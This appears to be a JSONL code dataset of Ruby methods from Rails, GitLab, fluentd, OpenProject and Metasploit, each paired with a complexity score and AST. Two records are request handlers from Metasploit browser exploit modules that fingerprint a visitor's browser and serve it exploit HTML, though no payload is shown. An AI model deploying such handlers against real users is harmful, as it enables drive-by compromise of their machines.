{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/patch/prependable.rb","start_line":22,"raw_source":"def prepend_features(base)\n        return false if prepended?(base)\n\n        # Rails 6.1 allows prepending of the modules, but it doesn't\n        # work well when both modules extend ActiveSupport::Concern\n        # https://github.com/rails/rails/pull/42067\n        #\n        # Let's keep our own implementation, until the issue is fixed\n        Module.instance_method(:prepend_features).bind_call(self, base)\n\n        if const_defined?(:ClassMethods)\n          klass_methods = const_get(:ClassMethods, false)\n          base.singleton_class.prepend klass_methods\n          base.instance_variable_set(:@_prepended_class_methods, klass_methods)\n        end\n\n        if instance_variable_defined?(:@_prepended_block)\n          base.class_eval(&@_prepended_block)\n        end\n\n        true\n      end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"prepend_features\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prepended?\",{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"instance_method\",{\"type\":\"sym\",\"children\":[\"prepend_features\"]}]},\"bind_call\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"const_defined?\",{\"type\":\"sym\",\"children\":[\"ClassMethods\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass_methods\",{\"type\":\"send\",\"children\":[null,\"const_get\",{\"type\":\"sym\",\"children\":[\"ClassMethods\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"singleton_class\"]},\"prepend\",{\"type\":\"lvar\",\"children\":[\"klass_methods\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@_prepended_class_methods\"]},{\"type\":\"lvar\",\"children\":[\"klass_methods\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@_prepended_block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_prepended_block\"]}]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"29002ddc-b149-416e-b654-ae538aef6455"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":771,"raw_source":"def test_render_mutate_string_literal\n    assert_equal \"foobar\", @view.render(inline: \"+'foo' << 'bar'\", type: :ruby)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_mutate_string_literal\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foobar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"str\",\"children\":[\"+'foo' << 'bar'\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ruby\"]}]}]}]}]}]}","id":"0c522e4c-c262-4e9b-9525-3d23a2731d7c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/docs/build.rb","start_line":506,"raw_source":"def self.run_command(command, exception: true)\n    puts \"[*] #{command}\"\n    result = ''\n    ::Open3.popen2e(\n      { 'BUNDLE_GEMFILE' => File.join(Dir.pwd, 'Gemfile') },\n      '/bin/bash', '--login', '-c', command\n    ) do |stdin, stdout_and_stderr, wait_thread|\n      stdin.close_write\n\n      while wait_thread.alive?\n        ready = IO.select([stdout_and_stderr], nil, nil, 1)\n\n        next unless ready\n        reads, _writes, _errors = ready\n\n        reads.to_a.each do |io|\n          data = io.read_nonblock(1024)\n          puts data\n          result += data\n        rescue EOFError, Errno::EAGAIN\n          # noop\n        end\n      end\n\n      if !wait_thread.value.success? && exception\n        raise \"command #{command.inspect} did not succeed, exit status #{wait_thread.value.exitstatus.inspect}\"\n      end\n    end\n\n    result\n  end","complexity_score":50.18,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]},{\"type\":\"kwoptarg\",\"children\":[\"exception\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[*] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Open3\"]},\"popen2e\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BUNDLE_GEMFILE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"pwd\"]},{\"type\":\"str\",\"children\":[\"Gemfile\"]}]}]}]},{\"type\":\"str\",\"children\":[\"/bin/bash\"]},{\"type\":\"str\",\"children\":[\"--login\"]},{\"type\":\"str\",\"children\":[\"-c\"]},{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stdin\"]},{\"type\":\"arg\",\"children\":[\"stdout_and_stderr\"]},{\"type\":\"arg\",\"children\":[\"wait_thread\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stdin\"]},\"close_write\"]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_thread\"]},\"alive?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ready\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"select\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stdout_and_stderr\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ready\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reads\"]},{\"type\":\"lvasgn\",\"children\":[\"_writes\"]},{\"type\":\"lvasgn\",\"children\":[\"_errors\"]}]},{\"type\":\"lvar\",\"children\":[\"ready\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reads\"]},\"to_a\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"read_nonblock\",{\"type\":\"int\",\"children\":[1024]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EOFError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EAGAIN\"]}]},null,null]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_thread\"]},\"value\"]},\"success?\"]},\"!\"]},{\"type\":\"lvar\",\"children\":[\"exception\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"command \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" did not succeed, exit status \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_thread\"]},\"value\"]},\"exitstatus\"]},\"inspect\"]}]}]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"e84de040-4564-4cf0-b365-0f665b7ff6a7"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/configurable.rb","start_line":171,"raw_source":"def config_section(name, **kwargs, &block)\n        section_already_exists = !!merged_configure_proxy.sections[name]\n        configure_proxy(self.name).config_section(name, **kwargs, &block)\n        variable_name = configure_proxy(self.name).sections[name].variable_name\n        if !section_already_exists && !self.respond_to?(variable_name)\n          attr_accessor variable_name\n        end\n      end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"config_section\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"section_already_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merged_configure_proxy\"]},\"sections\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"!\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configure_proxy\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]},\"config_section\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"variable_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configure_proxy\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]},\"sections\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"variable_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section_already_exists\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"variable_name\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"attr_accessor\",{\"type\":\"lvar\",\"children\":[\"variable_name\"]}]},null]}]}]}","id":"6c08a39a-3262-4ac0-8d43-6f2d99028947"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/journey/nodes/ast_test.rb","start_line":73,"raw_source":"def test_wildcard_options_when_false\n          tree = Journey::Parser.new.parse(\"/*glob\")\n          ast = Ast.new(tree, false)\n\n          wildcard_options = ast.wildcard_options\n          assert_nil wildcard_options[:glob]\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_wildcard_options_when_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tree\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Journey\"]},\"Parser\"]},\"new\"]},\"parse\",{\"type\":\"str\",\"children\":[\"/*glob\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ast\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ast\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tree\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wildcard_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"wildcard_options\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wildcard_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"glob\"]}]}]}]}]}","id":"1d69db3b-b1fa-49c5-854b-b5ccddb71fe7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/authenticator.rb","start_line":225,"raw_source":"def decode_crealm(input)\n            input.value[0].value\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_crealm\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"value\"]}]}","id":"26e84d35-fc60-47a6-b7bd-ea7fbb87f841"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ibm_spss_c1sizer.rb","start_line":371,"raw_source":"def on_request_uri(cli, request)\n    agent = request.headers['User-Agent']\n    uri = request.uri\n    print_status(\"Requesting: #{uri}\")\n\n    my_target = get_target(agent)\n    # Avoid the attack if no suitable target found\n    if my_target.nil?\n      print_error(\"Browser not supported, sending 404: #{agent}\")\n      send_not_found(cli)\n      return\n    end\n\n    html = load_exploit_html(my_target, cli)\n    html = html.gsub(/^ {4}/, '')\n    print_status(\"Sending HTML...\")\n    send_response(cli, html, { 'Content-Type' => 'text/html' })\n  end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"agent\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"User-Agent\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"my_target\",{\"type\":\"send\",\"children\":[null,\"get_target\",{\"type\":\"lvar\",\"children\":[\"agent\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Browser not supported, sending 404: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[null,\"load_exploit_html\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^ {4}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending HTML...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]}]}]}]}]}","id":"2f4a308f-dc2b-47f5-b298-dcc7f5c09368"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb","start_line":242,"raw_source":"def on_request_uri(cli, request)\n    agent = request.headers['User-Agent']\n    uri = request.uri\n    print_status(\"Requesting: #{uri}\")\n\n    my_target = get_target(agent)\n    # Avoid the attack if no suitable target found\n    if my_target.nil?\n      print_error(\"Browser not supported, sending 404: #{agent}\")\n      send_not_found(cli)\n      return\n    end\n\n    html = load_exploit_html(my_target, cli)\n    html = html.gsub(/^ {4}/, '')\n    print_status(\"Sending HTML...\")\n    send_response(cli, html, { 'Content-Type' => 'text/html' })\n  end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"agent\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"User-Agent\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"my_target\",{\"type\":\"send\",\"children\":[null,\"get_target\",{\"type\":\"lvar\",\"children\":[\"agent\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Browser not supported, sending 404: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[null,\"load_exploit_html\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^ {4}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending HTML...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]}]}]}]}]}","id":"c0a70acf-4eeb-44e6-a04e-8bc8dc65ce4f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/reflection.rb","start_line":452,"raw_source":"def scope_for(relation, owner = nil)\n        relation.instance_exec(owner, &scope) || relation\n      end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"scope_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]},{\"type\":\"optarg\",\"children\":[\"owner\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"instance_exec\",{\"type\":\"lvar\",\"children\":[\"owner\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]}]}]},{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]}","id":"a3b57756-7244-4d23-8d5a-090e6fe2a180"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation_helper.rb","start_line":136,"raw_source":"def instrument_ldap(payload)\n      ldap_count = Gitlab::Metrics::Subscribers::Ldap.count\n\n      return if ldap_count == 0\n\n      payload.merge! Gitlab::Metrics::Subscribers::Ldap.payload\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"instrument_ldap\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ldap_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"Subscribers\"]},\"Ldap\"]},\"count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"Subscribers\"]},\"Ldap\"]},\"payload\"]}]}]}]}","id":"93a6f40e-1382-4d74-8ddf-9a0588fce793"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/performance_bar/redis_adapter_when_peek_enabled.rb","start_line":7,"raw_source":"def save(request_id)\n        return unless ::Gitlab::PerformanceBar.enabled_for_request?\n        return if request_id.blank?\n\n        super\n\n        enqueue_stats_job(request_id)\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"save\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"PerformanceBar\"]},\"enabled_for_request?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_id\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"enqueue_stats_job\",{\"type\":\"lvar\",\"children\":[\"request_id\"]}]}]}]}","id":"ed241e7b-69a2-4563-becc-2a2f8a0c40f0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/index_test.rb","start_line":280,"raw_source":"def test_add_index_with_included_column\n        skip(\"current adapter doesn't support include indexes\") unless supports_index_include?\n\n        connection.add_index(\"testings\", \"last_name\", include: :foo)\n        assert connection.index_exists?(\"testings\", \"last_name\", include: :foo)\n\n        connection.remove_index(\"testings\", \"last_name\")\n        assert_not connection.index_exists?(\"testings\", \"last_name\")\n      end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_index_with_included_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_index_include?\"]},null,{\"type\":\"send\",\"children\":[null,\"skip\",{\"type\":\"str\",\"children\":[\"current adapter doesn't support include indexes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"add_index\",{\"type\":\"str\",\"children\":[\"testings\"]},{\"type\":\"str\",\"children\":[\"last_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include\"]},{\"type\":\"sym\",\"children\":[\"foo\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\",{\"type\":\"str\",\"children\":[\"testings\"]},{\"type\":\"str\",\"children\":[\"last_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include\"]},{\"type\":\"sym\",\"children\":[\"foo\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"remove_index\",{\"type\":\"str\",\"children\":[\"testings\"]},{\"type\":\"str\",\"children\":[\"last_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\",{\"type\":\"str\",\"children\":[\"testings\"]},{\"type\":\"str\",\"children\":[\"last_name\"]}]}]}]}]}","id":"befff92e-fe20-4f96-bbdf-23f25a31efc2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/admin/oauth_client_info_component.rb","start_line":64,"raw_source":"def oauth_client_configured?\n      storage.configuration_checks[:storage_oauth_client_configured]\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"oauth_client_configured?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"configuration_checks\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"storage_oauth_client_configured\"]}]}]}","id":"9f18c214-c40f-4f47-8ab6-e86a3c7bd31c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/base.rb","start_line":28,"raw_source":"def check!\n            # The default expiry time is the worker class'\n            # configured deduplication TTL or DuplicateJob::DEFAULT_DUPLICATE_KEY_TTL.\n            duplicate_job.check!\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"duplicate_job\"]},\"check!\"]}]}","id":"e9ff2781-7ef6-4ac7-ab1a-1e978865bcc3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20241227095043_add_foreign_key_to_compliance_controls_statuses_requirement_id.rb","start_line":12,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :project_control_compliance_statuses, column: :compliance_requirement_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"project_control_compliance_statuses\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"compliance_requirement_id\"]}]}]}]}]}]}","id":"62c52e54-7b99-4268-bc58-cee5f189a990"}
